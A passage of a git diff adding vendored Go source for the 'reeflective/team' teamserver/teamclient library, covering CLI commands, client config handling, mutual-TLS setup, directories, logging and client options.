teamserver users and their status", + RunE: usersCmd(cli), + } + + teamCmd.AddCommand(usersCmd) + + return teamCmd +} + +// ConfigsAppCompleter completes file paths to the current application configs. +func ConfigsAppCompleter(cli *client.Client, tag string) carapace.Action { + return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { + var compErrors []carapace.Action + + configPath := cli.ConfigsDir() + + files, err := os.ReadDir(configPath) + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) + } + + var results []string + + for _, file := range files { + if !strings.HasSuffix(file.Name(), command.ClientConfigExt) { + continue + } + + filePath := filepath.Join(configPath, file.Name()) + + cfg, err := cli.ReadConfig(filePath) + if err != nil || cfg == nil { + continue + } + + results = append(results, filePath) + results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) + } + + configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(command.ClientConfigExt)) + + return carapace.Batch(append( + compErrors, + configsAction.Tag(tag), + carapace.ActionFiles())..., + ).ToA() + }) +} + +// ConfigsCompleter completes file paths to other teamserver application configs (clients/users CA, etc) +// The filepath is the directory between .app/ and the target directory where config files of a certain +// type should be found, ext is the normal/default extension for those target files, and tag is used in comps. +func ConfigsCompleter(cli *client.Client, filePath, ext, tag string, noSelf bool) carapace.CompletionCallback { + return func(ctx carapace.Context) carapace.Action { + var compErrors []carapace.Action + + homeDir, err := os.UserHomeDir() + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to get user home dir: %s", err)) + } + + dirs, err := os.ReadDir(homeDir) + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) + } + + var results []string + + for _, dir := range dirs { + if !isConfigDir(cli, dir, noSelf) { + continue + } + + configPath := filepath.Join(homeDir, dir.Name(), filePath) + + if configs, err := os.Stat(configPath); err == nil { + if !configs.IsDir() { + continue + } + + files, _ := os.ReadDir(configPath) + for _, file := range files { + if !strings.HasSuffix(file.Name(), ext) { + continue + } + + filePath := filepath.Join(configPath, file.Name()) + + cfg, err := cli.ReadConfig(filePath) + if err != nil || cfg == nil { + continue + } + + results = append(results, filePath) + results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) + } + } + } + + configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(ext)) + + if len(compErrors) > 0 { + return carapace.Batch(append(compErrors, configsAction)...).ToA() + } + + return configsAction.Tag(tag) + } +} + +func isConfigDir(cli *client.Client, dir fs.DirEntry, noSelf bool) bool { + if !strings.HasPrefix(dir.Name(), ".") { + return false + } + + if !dir.IsDir() { + return false + } + + if strings.TrimPrefix(dir.Name(), ".") != cli.Name() { + return false + } + + if noSelf { + return false + } + + return true +} + +func getConfigStyle(ext string) func(s string, sc style.Context) string { + return func(s string, sc style.Context) string { + if strings.HasSuffix(s, ext) { + return style.Red + } + + return s + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/import.go b/vendor/github.com/reeflective/team/client/commands/import.go new file mode 100644 index 0000000000..166a86c20a --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/import.go @@ -0,0 +1,60 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func importCmd(cli *client.Client) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if 0 < len(args) { + for _, arg := range args { + conf, err := cli.ReadConfig(arg) + if jsonErr, ok := err.(*json.SyntaxError); ok { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", jsonErr.Error()) + } else if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error()) + continue + } + + if err = cli.SaveConfig(conf); err == nil { + fmt.Fprintln(cmd.OutOrStdout(), command.Info+"Saved new client config in ", cli.ConfigsDir()) + } else { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error()) + } + } + } else { + fmt.Fprintln(cmd.OutOrStdout(), "Missing config file path, see --help") + } + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/users.go b/vendor/github.com/reeflective/team/client/commands/users.go new file mode 100644 index 0000000000..f3045c9794 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/users.go @@ -0,0 +1,89 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "time" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func usersCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, args []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if err := cli.Connect(); err != nil { + return err + } + + // Server + users, err := cli.Users() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) + } + + tbl := &table.Table{} + tbl.SetStyle(command.TableStyle) + + tbl.AppendHeader(table.Row{ + "Name", + "Status", + "Last seen", + }) + + for _, user := range users { + lastSeen := user.LastSeen.Format(time.RFC1123) + + if !user.LastSeen.IsZero() { + lastSeen = time.Since(user.LastSeen).Round(1 * time.Second).String() + } + + var status string + if user.Online { + status = command.Bold + command.Green + "Online" + command.Normal + } else { + status = command.Bold + command.Red + "Offline" + command.Normal + } + + tbl.AppendRow(table.Row{ + user.Name, + status, + lastSeen, + }) + } + + if len(users) > 0 { + fmt.Fprintln(cmd.OutOrStdout(), tbl.Render()) + } else { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"The %s teamserver has no users\n", cli.Name()) + } + + return nil + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go new file mode 100644 index 0000000000..975c0d96c2 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -0,0 +1,76 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "time" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, args []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if err := cli.Connect(); err != nil { + return err + } + + // Server + serverVer, err := cli.VersionServer() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) + } + + serverVerInfo := fmt.Sprintf("Server v%d.%d.%d - %s - %s/%s\n", + serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit, + serverVer.OS, serverVer.Arch) + serverCompiledAt := time.Unix(serverVer.CompiledAt, 0) + + fmt.Fprint(cmd.OutOrStdout(), command.Info+serverVerInfo) + fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", serverCompiledAt) + fmt.Fprintln(cmd.OutOrStdout()) + + // Client + clientVer, err := cli.VersionClient() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Client error: %s\n", err) + return nil + } + + clientVerInfo := fmt.Sprintf("Client v%d.%d.%d - %s - %s/%s\n", + clientVer.Major, clientVer.Minor, clientVer.Patch, clientVer.Commit, + clientVer.OS, clientVer.Arch) + clientCompiledAt := time.Unix(clientVer.CompiledAt, 0) + + fmt.Fprint(cmd.OutOrStdout(), command.Info+clientVerInfo) + fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", clientCompiledAt) + + return nil + } +} diff --git a/vendor/github.com/reeflective/team/client/config.go b/vendor/github.com/reeflective/team/client/config.go new file mode 100644 index 0000000000..2e6791e0fa --- /dev/null +++ b/vendor/github.com/reeflective/team/client/config.go @@ -0,0 +1,260 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/json" + "fmt" + "io" + "os" + "path/filepath" + "sort" + + "github.com/AlecAivazis/survey/v2" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/command" +) + +const ( + fileWriteModePerm = 0o600 +) + +// Config is a JSON client connection configuration. +// It contains the addresses of a team server, the name of the user +// allowed to connect to it, and cryptographic material to secure and +// authenticate the client-server connection (using Mutual TLS). +type Config struct { + User string `json:"user"` // This value is actually ignored for the most part (cert CN is used instead) + Host string `json:"host"` + Port int `json:"port"` + Token string `json:"token"` + CACertificate string `json:"ca_certificate"` + PrivateKey string `json:"private_key"` + Certificate string `json:"certificate"` +} + +func (tc *Client) initConfig() (err error) { + cfg := tc.opts.config + + // We assume that any configuration passed with WithConfig() + // has a non-empty user name, even if its the server itself. + if cfg.User != "" { + return nil + } + + // Else fetch the unique config or prompt user for which. + if tc.dialer != nil { + configs := tc.GetConfigs() + if len(configs) == 0 { + err = fmt.Errorf("no configs found in %s", tc.ConfigsDir()) + } else { + cfg = tc.SelectConfig() + } + } + + // We must have a config. + if cfg == nil { + if err != nil { + return fmt.Errorf("%w: %w", ErrNoConfig, err) + } + + return ErrNoConfig + } + + tc.opts.config = cfg + + return nil +} + +// GetConfigs returns a list of available configs in the application +// teamclient remote server configs directory (~/.app/teamclient/configs/). +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) GetConfigs() map[string]*Config { + configDir := tc.ConfigsDir() + + configFiles, err := os.ReadDir(configDir) + if err != nil { + tc.log().Errorf("No configs found: %s", err) + return map[string]*Config{} + } + + confs := map[string]*Config{} + + for _, confFile := range configFiles { + confFilePath := filepath.Join(configDir, confFile.Name()) + + conf, err := tc.ReadConfig(confFilePath) + if err != nil { + continue + } + + digest := sha256.Sum256([]byte(conf.Certificate)) + confs[fmt.Sprintf("%s@%s (%x)", conf.User, conf.Host, digest[:8])] = conf + } + + return confs +} + +// ReadConfig loads a client config into a struct. +// Errors are returned as is: users can check directly for JSON/encoding/filesystem errors. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) ReadConfig(confFilePath string) (*Config, error) { + confFile, err := os.Open(confFilePath) + if err != nil { + return nil, fmt.Errorf("open failed: %w", err) + } + defer confFile.Close() + + data, err := io.ReadAll(confFile) + if err != nil { + return nil, fmt.Errorf("read failed: %w", err) + } + + conf := &Config{} + + err = json.Unmarshal(data, conf) + if err != nil { + return nil, fmt.Errorf("parse failed: %w", err) + } + + return conf, nil +} + +// SaveConfig saves a client config to disk. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) SaveConfig(config *Config) error { + if config.User == "" { + return ErrConfigNoUser + } + + configDir := tc.ConfigsDir() + + // If we are in-memory, still make the directory. + if _, err := os.Stat(configDir); os.IsNotExist(err) { + if err = os.MkdirAll(configDir, assets.DirPerm); err != nil { + return tc.errorf("%w: %w", ErrConfig, err) + } + } + + filename := fmt.Sprintf("%s_%s.%s", filepath.Base(config.User), filepath.Base(config.Host), command.ClientConfigExt) + saveTo, _ := filepath.Abs(filepath.Join(configDir, filename)) + + configJSON, err := json.Marshal(config) + if err != nil { + return fmt.Errorf("%w: %w", ErrConfig, err) + } + + err = os.WriteFile(saveTo, configJSON, fileWriteModePerm) + if err != nil { + return tc.errorf("Failed to write config to: %s (%w)", saveTo, err) + } + + tc.log().Infof("Saved new client config to: %s", saveTo) + + return nil +} + +// SelectConfig either returns the only configuration found in the app +// client remote configs directory, or prompts the user to select one. +// This call might thus be blocking, and expect user input. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) SelectConfig() *Config { + configs := tc.GetConfigs() + + if len(configs) == 0 { + return nil + } + + if len(configs) == 1 { + for _, config := range configs { + return config + } + } + + answer := struct{ Config string }{} + qs := getPromptForConfigs(configs) + + err := survey.Ask(qs, &answer) + if err != nil { + tc.log().Errorf("config prompt failed: %s", err) + return nil + } + + return configs[answer.Config] +} + +// Config returns the currently used teamclient server configuration. +// This configuration might be empty (not nil), if no specific server +// configuration was loaded by the client yet. +func (tc *Client) Config() *Config { + return tc.opts.config +} + +// NewTLSConfigFrom generates a working client TLS configuration prepared for Mutual TLS. +// It requires the three credential materials presents in any user remote teamserver config. +func (tc *Client) NewTLSConfigFrom(caCert string, cert string, key string) (*tls.Config, error) { + certPEM, err := tls.X509KeyPair([]byte(cert), []byte(key)) + if err != nil { + return nil, fmt.Errorf("Cannot parse client certificate: %w", err) + } + + // Load CA cert + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM([]byte(caCert)) + + // Setup config with custom certificate validation routine + tlsConfig := &tls.Config{ + Certificates: []tls.Certificate{certPEM}, + RootCAs: caCertPool, + InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing + VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error { + return certs.RootOnlyVerifyCertificate(caCert, rawCerts) + }, + } + + return tlsConfig, nil +} + +func getPromptForConfigs(configs map[string]*Config) []*survey.Question { + keys := []string{} + for k := range configs { + keys = append(keys, k) + } + + sort.Strings(keys) + + return []*survey.Question{ + { + Name: "config", + Prompt: &survey.Select{ + Message: "Select a server:", + Options: keys, + Default: keys[0], + }, + }, + } +} diff --git a/vendor/github.com/reeflective/team/client/directories.go b/vendor/github.com/reeflective/team/client/directories.go new file mode 100644 index 0000000000..8833282f70 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/directories.go @@ -0,0 +1,95 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + + "github.com/reeflective/team/internal/assets" +) + +// HomeDir returns the root application directory (~/.app/ by default). +// This directory can be set with the environment variable _ROOT_DIR. +// This directory is not to be confused with the ~/.app/teamclient directory +// returned by the client.TeamDir(), which is specific to the app teamclient. +func (tc *Client) HomeDir() string { + var dir string + + // Note: very important not to combine the nested if here. + if !tc.opts.inMemory { + if tc.homeDir == "" { + user, _ := user.Current() + dir = filepath.Join(user.HomeDir, "."+tc.name) + } else { + dir = tc.homeDir + } + } else { + dir = "." + tc.name + } + + err := tc.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// TeamDir returns the teamclient directory of the app (named ~/./teamclient/), +// creating the directory if needed, or logging an error event if failing to create it. +// This directory is used to store teamclient logs and remote server configs. +func (tc *Client) TeamDir() string { + dir := filepath.Join(tc.HomeDir(), tc.opts.teamDir) + + err := tc.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// LogsDir returns the directory of the teamclient logs (~/.app/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (tc *Client) LogsDir() string { + logsDir := filepath.Join(tc.TeamDir(), assets.DirLogs) + + err := tc.fs.MkdirAll(logsDir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", logsDir, err) + } + + return logsDir +} + +// ConfigsDir returns the path to the remote teamserver configs directory +// for this application (~/.app/teamclient/configs), creating the directory +// if needed, or logging a fatal event if failing to create it. +func (tc *Client) ConfigsDir() string { + rootDir, _ := filepath.Abs(tc.TeamDir()) + dir := filepath.Join(rootDir, assets.DirConfigs) + + err := tc.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s configs dir: %s", dir, err) + } + + return dir +} diff --git a/vendor/github.com/reeflective/team/client/errors.go b/vendor/github.com/reeflective/team/client/errors.go new file mode 100644 index 0000000000..d4ccd8f553 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/errors.go @@ -0,0 +1,43 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "errors" + +var ( + // ErrNoTeamclient indicates that the client cannot remotely query a server + // to get its version or user information, because there is no client RPC + // to do it. Make sure that your team/client.Client has been given one. + ErrNoTeamclient = errors.New("this teamclient has no client implementation") + + // ErrConfig is an error related to the teamclient connection configuration. + ErrConfig = errors.New("client config error") + + // ErrNoConfig indicates that no configuration, default or on file system, was found. + ErrNoConfig = errors.New("no client configuration was selected or parsed") + + // ErrConfigNoUser says that the configuration has no user, + // which is not possible even if the client is an in-memory one. + ErrConfigNoUser = errors.New("client config with empty user") + + // ErrClient indicates an error raised by the client when igniting or connecting. + // Most errors are raised by the underlying transport stack, which can be user-specific, + // so users of this library should unwrap ErrClient errors to check against their owns. + ErrClient = errors.New("teamclient dialer") +) diff --git a/vendor/github.com/reeflective/team/client/log.go b/vendor/github.com/reeflective/team/client/log.go new file mode 100644 index 0000000000..ed602c227e --- /dev/null +++ b/vendor/github.com/reeflective/team/client/log.go @@ -0,0 +1,114 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "path/filepath" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" +) + +// NamedLogger returns a new logging "thread" with two fields (optional) +// to indicate the package/general domain, and a more precise flow/stream. +// The events are logged according to the teamclient logging backend setup. +func (tc *Client) NamedLogger(pkg, stream string) *logrus.Entry { + return tc.log().WithFields(logrus.Fields{ + log.PackageFieldKey: pkg, + "stream": stream, + }) +} + +// SetLogWriter sets the stream to which the stdio logger (not the file logger) +// should write to. This option is used by the teamclient cobra command tree to +// synchronize its basic I/O/err with the teamclient backend. +func (tc *Client) SetLogWriter(stdout, stderr io.Writer) { + tc.stdoutLogger.Out = stdout + // TODO: Pass stderr to log internals. +} + +// SetLogLevel sets the logging level of all teamclient loggers. +func (tc *Client) SetLogLevel(level int) { + if tc.stdoutLogger == nil { + return + } + + if uint32(level) > uint32(logrus.TraceLevel) { + level = int(logrus.TraceLevel) + } + + tc.stdoutLogger.SetLevel(logrus.Level(uint32(level))) + + if tc.fileLogger != nil { + tc.fileLogger.SetLevel(logrus.Level(uint32(level))) + } +} + +// log returns a non-nil logger for the client: +// if file logging is disabled, it returns the stdout-only logger, +// otherwise returns the file logger equipped with a stdout hook. +func (tc *Client) log() *logrus.Logger { + if tc.fileLogger != nil { + return tc.fileLogger + } + + if tc.stdoutLogger == nil { + tc.stdoutLogger = log.NewStdio(logrus.WarnLevel) + } + + return tc.stdoutLogger +} + +func (tc *Client) errorf(msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + tc.log().Error(logged) + + return logged +} + +func (tc *Client) initLogging() (err error) { + // By default, the stdout logger is never nil. + // We might overwrite it below if using our defaults. + tc.stdoutLogger = log.NewStdio(logrus.WarnLevel) + + // Path to our client log file, and open it (in mem or on disk) + logFile := filepath.Join(tc.LogsDir(), log.FileName(tc.Name(), false)) + + // If the teamclient should log to a predefined file. + if tc.opts.logFile != "" { + logFile = tc.opts.logFile + } + + // If user supplied a logger, use it in place of the + // file-based logger, since the file logger is optional. + if tc.opts.logger != nil { + tc.fileLogger = tc.opts.logger + return nil + } + + // Create the loggers writing to this file, and hooked to write to stdout as well. + tc.fileLogger, tc.stdoutLogger, err = log.Init(tc.fs, logFile, logrus.InfoLevel) + if err != nil { + return err + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go new file mode 100644 index 0000000000..9a321e0d8e --- /dev/null +++ b/vendor/github.com/reeflective/team/client/options.go @@ -0,0 +1,216 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "os" + "strings" + + "github.com/reeflective/team/internal/assets" + "github.com/sirupsen/logrus" +) + +const noTeamdir = "no team subdirectory" + +// Options are client options. +// You can set or modify the behavior of a teamclient at various +// steps with these options, which are a variadic parameter of +// several client.Client methods. +// Note that some options can only be used once, while others can be +// used multiple times. Examples of the former are log files, while +// the latter includes dialers/hooks. +// Each option will specify this in its description. +type Options func(opts *opts) + +type opts struct { + homeDir string + teamDir string + noLogs bool + logFile string + inMemory bool + console bool + stdout io.Writer + config *Config + logger *logrus.Logger + dialer Dialer +} + +func defaultOpts() *opts { + return &opts{ + config: &Config{}, + } +} + +func (tc *Client) apply(options ...Options) { + for _, optFunc := range options { + optFunc(tc.opts) + } + + // The server will apply options multiple times + // in its lifetime, but some options can only be + // set once when created. + tc.initOpts.Do(func() { + // Application home directory. + homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(tc.name))) + if homeDir != "" { + tc.homeDir = homeDir + } else { + tc.homeDir = tc.opts.homeDir + } + }) + + if tc.opts.dialer != nil { + tc.dialer = tc.opts.dialer + } + + // Team directory. + if tc.opts.teamDir == noTeamdir { + tc.opts.teamDir = "" + } else if tc.opts.teamDir == "" { + tc.opts.teamDir = assets.DirClient + } + + if tc.opts.stdout != nil { + tc.stdoutLogger.Out = tc.opts.stdout + } +} + +// +// *** General options *** +// + +// WithInMemory deactivates all interactions of the client with the on-disk filesystem. +// This will in effect use in-memory files for all file-based logging and database data. +// This might be useful for testing, or if you happen to embed a teamclient in a program +// without the intent of using it now, etc. +// +// This option can only be used once, and should be passed client.New(). +func WithInMemory() Options { + return func(opts *opts) { + opts.noLogs = true + opts.inMemory = true + } +} + +// WithConfig sets the client to use a given remote teamserver configuration which +// to connect to, instead of using default on-disk user/application configurations. +// This function will be very useful to library users who wish to implement specific +// remote teamserver selection & connection strategies, depending on the domains and +// and use cases of these tools. +func WithConfig(config *Config) Options { + return func(opts *opts) { + opts.config = config + } +} + +// WithHomeDirectory sets the default path (~/.app/) of the application directory. +// This path can still be overridden at the user-level with the env var APP_ROOT_DIR. +// +// This option can only be used once, and must be passed client.New(). +func WithHomeDirectory(path string) Options { + return func(opts *opts) { + opts.homeDir = path + } +} + +// WithTeamDirectory sets the name (not a path) of the teamclient-specific subdirectory. +// For example, passing "my_team_dir" will make the teamclient use ~/.app/my_team_dir/ +// instead of ~/.app/teamclient/. +// If this function is called with an empty string, the teamclient will not use any +// subdirectory for its own outputs, thus using ~/.app as its teamclient directory. +// +// This option can only be used once, and should be passed client.New(). +func WithTeamDirectory(name string) Options { + return func(opts *opts) { + if name == "" { + name = noTeamdir + } + + opts.teamDir = name + } +} + +// +// *** Logging options *** +// + +// WithNoLogs deactivates all logging normally done by the teamclient +// if noLogs is set to true, or keeps/reestablishes them if false. +// +// This option can only be used once, and should be passed client.New(). +func WithNoLogs(noLogs bool) Options { + return func(opts *opts) { + opts.noLogs = noLogs + } +} + +// WithLogFile sets the path to the file where teamclient logging should be done. +// If not specified, the client log file is ~/.app/teamclient/logs/app.teamclient.log. +// +// This option can only be used once, and should be passed client.New(). +func WithLogFile(filePath string) Options { + return func(opts *opts) { + opts.logFile = filePath + } +} + +// WithLogger sets the teamclient to use a specific logger for logging. +// +// This option can only be used once, and should be passed client.New(). +func WithLogger(logger *logrus.Logger) Options { + return func(opts *opts) { + opts.logger = logger + } +} + +// +// *** Client network/RPC options *** +// + +// WithDialer sets a custom dialer to connect to the teamserver. +// See the Dialer type documentation for implementation/usage details. +// +// It accepts an optional list of hooks to run on the generic clientConn +// returned by the client.Dialer Dial() method (see Dialer doc for details). +// This client object can be pretty much any client-side conn/RPC object. +// You will have to typecast this conn in your hooks, casting it to the type +// that your teamclient Dialer.Dial() method returns. +// +// This option can be used multiple times, either when using +// team/client.New() or when using the teamclient.Connect() method. +func WithDialer(dialer Dialer) Options { + return func(opts *opts) { + opts.dialer = dialer + } +} + +// WithNoDisconnect is meant to be used when the teamclient commands are used +// in a closed-loop (readline-style) application, where the connection is used +// more than once in the lifetime of the Go program. +// If this is the case, this option will ensure that any cobra client command +// runners produced by this library will not disconnect after each execution. +// +// This option can only be used once, and should be passed client.New(). +func WithNoDisconnect() Options { + return func(opts *opts) { + opts.console = true + } +} diff --git a/vendor/github.com/reeflective/team/internal/assets/fs.go b/vendor/github.com/reeflective/team/internal/assets/fs.go new file mode 100644 index 0000000000..8fec1db2ce --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/assets/fs.go @@ -0,0 +1,211 @@ +package assets + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "io/fs" + "os" + "path/filepath" + "strings" + + "github.com/psanford/memfs" +) + +const ( + // FileReadPerm is the permission bit given to the OS when reading files. + FileReadPerm = 0o600 + // DirPerm is the permission bit given to teamserver/client directories. + DirPerm = 0o700 + // FileWritePerm is the permission bit given to the OS when writing files. + FileWritePerm = 0o644 + + // FileWriteOpenMode is used when opening log files in append/create/write-only mode. + FileWriteOpenMode = os.O_APPEND | os.O_CREATE | os.O_WRONLY +) + +const ( + // Teamclient. + + // DirClient is the name of the teamclient subdirectory. + DirClient = "teamclient" + // DirLogs subdirectory name. + DirLogs = "logs" + // DirConfigs subdirectory name. + DirConfigs = "configs" + + // Teamserver. + + // DirServer is the name of the teamserver subdirectory. + DirServer = "teamserver" + // DirCerts subdirectory name. + DirCerts = "certs" +) + +// FS is a filesystem abstraction for teamservers and teamclients. +// When either of them are configured to run in memory only, this +// filesystem is initialized accordingly, otherwise it will forward +// its calls to the on-disk filesystem. +// +// This type currently exists because the stdlib io/fs.FS type is read-only, +// and that in order to provide a unique abstraction to the teamclient/server +// filesystems, this filesystem type adds writing methods. +type FS struct { + mem *memfs.FS + root string +} + +// NewFileSystem returns a new filesystem configured to run on disk or in-memory. +func NewFileSystem(root string, inMemory bool) *FS { + filesystem := &FS{ + root: root, + } + + if inMemory { + filesystem.mem = memfs.New() + } + + return filesystem +} + +// MkdirAll creates a directory named path, along with any necessary parents, +// and returns nil, or else returns an error. +// The permission bits perm 